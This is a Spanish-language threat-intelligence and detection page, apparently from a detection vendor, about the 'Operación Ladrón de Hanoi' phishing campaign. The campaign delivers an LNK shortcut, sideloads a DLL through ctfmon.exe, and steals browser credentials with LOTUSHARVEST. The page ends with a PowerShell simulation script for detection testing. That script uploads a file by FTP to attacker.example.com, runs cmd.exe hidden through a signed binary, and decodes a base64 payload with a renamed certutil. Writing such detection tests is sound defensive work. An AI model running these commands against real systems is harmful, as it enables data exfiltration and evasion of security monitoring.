Operación Ladrón de Hanói: Actor de Amenaza Ataca a Equipos de TI y Contratación Vietnameses
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Una operación de phishing dirigida, denominada “Operación Ladrón de Hanoi”, entrega un archivo ZIP malicioso que incluye un acceso directo (LNK) y un documento pseudo-políglota. El acceso directo abusa de ftp.exe para ejecutar un script por lotes que deja caer una DLL llamada MsCtfMonitor.dll en ProgramData y luego realiza carga lateral de DLL a través de ctfmon.exe. Esta DLL, denominada LOTUSHARVEST, roba credenciales y historial del navegador y luego exfiltra los datos recopilados por HTTPS.
Análisis de la Campaña Operación Ladrón de Hanoi
Los investigadores del equipo APT de SEQRITE Labs desempacaron el archivo ZIP, documentaron la línea de comando LNK que abusa de ftp.exe, observaron la creación de un certutil.exe renombrado y exploraron la cadena de carga lateral de DLL. Además, capturaron indicadores de red implicados en la exfiltración de datos y atribuyeron la campaña a un probable actor de amenazas respaldado por una nación china.
Mitigación
La orientación defensiva incluye bloquear la ejecución de accesos directos LNK sospechosos, limitar el uso de herramientas nativas de Windows como ftp.exe y certutil.exe en scripts no confiables, aplicar controles en torno a las rutas de carga de DLL y monitorear el tráfico HTTPS saliente a dominios desconocidos. Las organizaciones también deben aplicar un estricto filtrado de archivos adjuntos de correo electrónico y reforzar el entrenamiento de usuarios sobre cebos de phishing con temática de currículum.
Respuesta
Desencadenar alertas sobre la aparición de MsCtfMonitor.dll en ProgramData, ejecuciones de ftp.exe con el indicador -s y solicitudes salientes a dominios maliciosos conocidos. Poner en cuarentena cualquier archivo afectado, aislar el punto final comprometido y realizar la rotación de contraseñas y credenciales para los navegadores afectados.
mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% Nodes action_phishing[«<b>Acción</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br />El adversario envía un archivo ZIP malicioso a usuarios objetivo»] class action_phishing action file_malicious_zip[«<b>Archivo</b> – Nombre: Le‑Xuan‑Son_CV.zip<br />Contiene CV.pdf.lnk y PDF/PNG disfrazado»] class file_malicious_zip file action_user_exec[«<b>Acción</b> – <b>T1204.002 Ejecución por Usuario: Archivo Malicioso</b><br />La víctima extrae el archivo y abre el acceso directo»] class action_user_exec action file_lnk[«<b>Archivo</b> – Nombre: CV.pdf.lnk (acceso directo)»] class file_lnk file action_shortcut_mod[«<b>Acción</b> – <b>T1547.009 Ejecución de Inicio o Inicio de Sesión Automático: Modificación de Acceso Directo</b><br />LNK ejecuta ftp.exe con argumento –s»] class action_shortcut_mod action tool_ftp[«<b>Herramienta</b> – Nombre: ftp.exe (binario de sistema Windows)»] class tool_ftp tool action_proxy_exec[«<b>Acción</b> – <b>T1218 Ejecución de Proceso Binario del Sistema</b><br />Binarios legítimos utilizados para ejecutar comandos ocultos»] class action_proxy_exec action tool_device_cred_deploy[«<b>Herramienta</b> – Nombre: DeviceCredentialDeployment.exe»] class tool_device_cred_deploy tool tool_certutil[«<b>Herramienta</b> – Nombre: certutil.exe»] class tool_certutil tool action_masquerade[«<b>Acción</b> – <b>T1036.008 Disfraz: Tipo de Archivo<br>T1036.007 Disfraz: Doble Extensión</b><br />Carga útil disfrazada de PDF/PNG y luego renombrada»] class action_masquerade action file_masq_pdf[«<b>Archivo</b> – Nombre: offsec‑certified‑professional.png (en realidad PDF)»] class file_masq_pdf file action_compression[«<b>Acción</b> – <b>T1027.015 Archivos o Información Ofuscados: Compresión</b><br />ZIP utilizado para entregar carga útil maliciosa»] class action_compression action action_compile_after_delivery[«<b>Acción</b> – <b>T1027.004 Compilar Después de la Entrega</b><br />DLL codificada en Base64 extraída del script poliglota»] class action_compile_after_delivery action action_dll_sideload[«<b>Acción</b> – <b>T1574.002 Carga Lateral de DLL</b><br />DLL maliciosa colocada junto a ctfmon.exe»] class action_dll_sideload action file_ctfmon_exe[«<b>Archivo</b> – Nombre: ctfmon.exe (copiado al directorio de trabajo)»] class file_ctfmon_exe file file_malicious_dll[«<b>Archivo</b> – Nombre: MsCtfMonitor.dll (malicioso)»] class file_malicious_dll malware action_process_injection[«<b>Acción</b> – <b>T1055.001 Inyección de Proceso: Inyección de DLL</b><br />DLL cargado lateralmente por ctfmon.exe ejecuta código del atacante»] class action_process_injection action action_browser_discovery[«<b>Acción</b> – <b>T1217 Descubrimiento de Información del Navegador</b><br />DLL lee las bases de datos SQLite de Chrome y Edge para URLs»] class action_browser_discovery action action_credential_extraction[«<b>Acción</b> – <b>T1555.003 Credenciales de Navegadores Web</b><br />Contraseñas desencriptadas mediante CryptUnprotectData»] class action_credential_extraction action action_exfiltration_auto[«<b>Acción</b> – <b>T1020 Exfiltración Automatizada</b><br />Datos preparados para la exfiltración a través de HTTPS»] class action_exfiltration_auto action action_exfiltration_c2[«<b>Acción</b> – <b>T1041 Exfiltración a través de Canal C2</b><br /><b>T1102 Servicio Web</b><br />Datos enviados al dominio del atacante vía HTTP POST»] class action_exfiltration_c2 action %% Conexiones action_phishing u002du002d>|entrega| file_malicious_zip file_malicious_zip u002du002d>|contiene| file_lnk file_lnk u002du002d>|activado por| action_user_exec action_user_exec u002du002d>|conduce a| action_shortcut_mod action_shortcut_mod u002du002d>|ejecuta| tool_ftp tool_ftp u002du002d>|usado en| action_proxy_exec action_proxy_exec u002du002d>|también usa| tool_device_cred_deploy action_proxy_exec u002du002d>|también usa| tool_certutil action_shortcut_mod u002du002d>|usa| action_masquerade action_masquerade u002du002d>|crea| file_masq_pdf action_masquerade u002du002d>|se apoya en| action_compression action_compression u002du002d>|habilita| action_compile_after_delivery action_compile_after_delivery u002du002d>|produce| file_malicious_dll action_compile_after_delivery u002du002d>|prepara| action_dll_sideload action_dll_sideload u002du002d>|coloca DLL con| file_ctfmon_exe action_dll_sideload u002du002d>|coloca| file_malicious_dll file_ctfmon_exe u002du002d>|carga| file_malicious_dll file_malicious_dll u002du002d>|realiza| action_process_injection action_process_injection u002du002d>|habilita| action_browser_discovery action_browser_discovery u002du002d>|alimenta datos a| action_credential_extraction action_credential_extraction u002du002d>|alimenta datos a| action_exfiltration_auto action_exfiltration_auto u002du002d>|envía datos mediante| action_exfiltration_c2 %% Asignaciones de Clase class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware
Flujo de Ataque
Detecciones
Operación Ladrón de Hanoi: Detección de Exfiltración de Datos [Conexión de Red de Windows]
Ver
Detección de Actividades de la Operación Ladrón de Hanoi [Creación de Procesos de Windows]
Ver
IOCs (HashSha256) para detectar: Operación Ladrón de Hanoi: El Actor de Amenaza apunta a profesionales de TI vietnamitas y equipos de reclutamiento
Ver
Uso de Certutil para Codificación de Datos y Operaciones de Certificado (vía cmdline)
Ver
Archivos Extraídos Sospechosos de un Archivo (vía file_event)
Ver
Ejecución de Simulación
Prerrequisito: El Chequeo Previo de Telemetría y Línea Base debe haberse pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y pretender generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa y Comandos del Ataque:
Un atacante que ha obtenido un shell de bajo privilegio en una máquina Windows comprometida desea exfiltrar datos y mantener el sigilo.-
Fase 1 – Ejecución del script FTP: El atacante crea un script temporal
upload.txtque contiene comandos FTP y ejecutaftp.exe -s upload.txtpara transferir archivos a un servidor externo. -
Fase 2 – Ejecución de comando proxy: Para ocultar el uso de
cmd.exe, el atacante lanzaDeviceCredentialDeployment.execon el argumentocmd.exe /c whoami; la utilidad firmada genera una shell de comando oculta, evitando alertas de nombre de proceso simples. -
Fase 3 – Uso de certutil disfrazado: El atacante copia
certutil.exeaC:Templala.exey ejecutalala.exe -decode malicious.b64 output.exepara decodificar cargas útiles, utilizando el cambio de nombre para eludir las detecciones basadas en nombres de archivo.
-
Fase 1 – Ejecución del script FTP: El atacante crea un script temporal
-
Script de Prueba de Regresión: El siguiente script de PowerShell reproduce los tres pasos de una manera repetible.
# Script de Prueba de Regresión – activa la regla de detección # 1. FTP con indicador -s $ftpScript = "$env:TEMPupload.txt" @" open attacker.example.com user testuser testpass put C:WindowsSystem32notepad.exe notepad.exe quit "@ | Set-Content -Path $ftpScript -Encoding ASCII Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait # 2. DeviceCredentialDeployment.exe proxying cmd.exe $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe" if (Test-Path $dccPath) { Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait } else { Write-Host "DeviceCredentialDeployment.exe no encontrado – omitiendo paso 2." } # 3. Ejecución de certutil disfrazado $original = "$env:SystemRootSystem32certutil.exe" $masq = "$env:TEMPlala.exe" Copy-Item -Path $original -Destination $masq -Force $payload = "$env:TEMPmalicious.b64" $output = "$env:TEMPdecoded.exe" # Crear una carga útil base64 ficticia [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malicious"))) Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait -
Comandos de Limpieza: Eliminar artefactos creados durante la prueba.
# Script de Limpieza Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue Write-Host "Limpieza completada."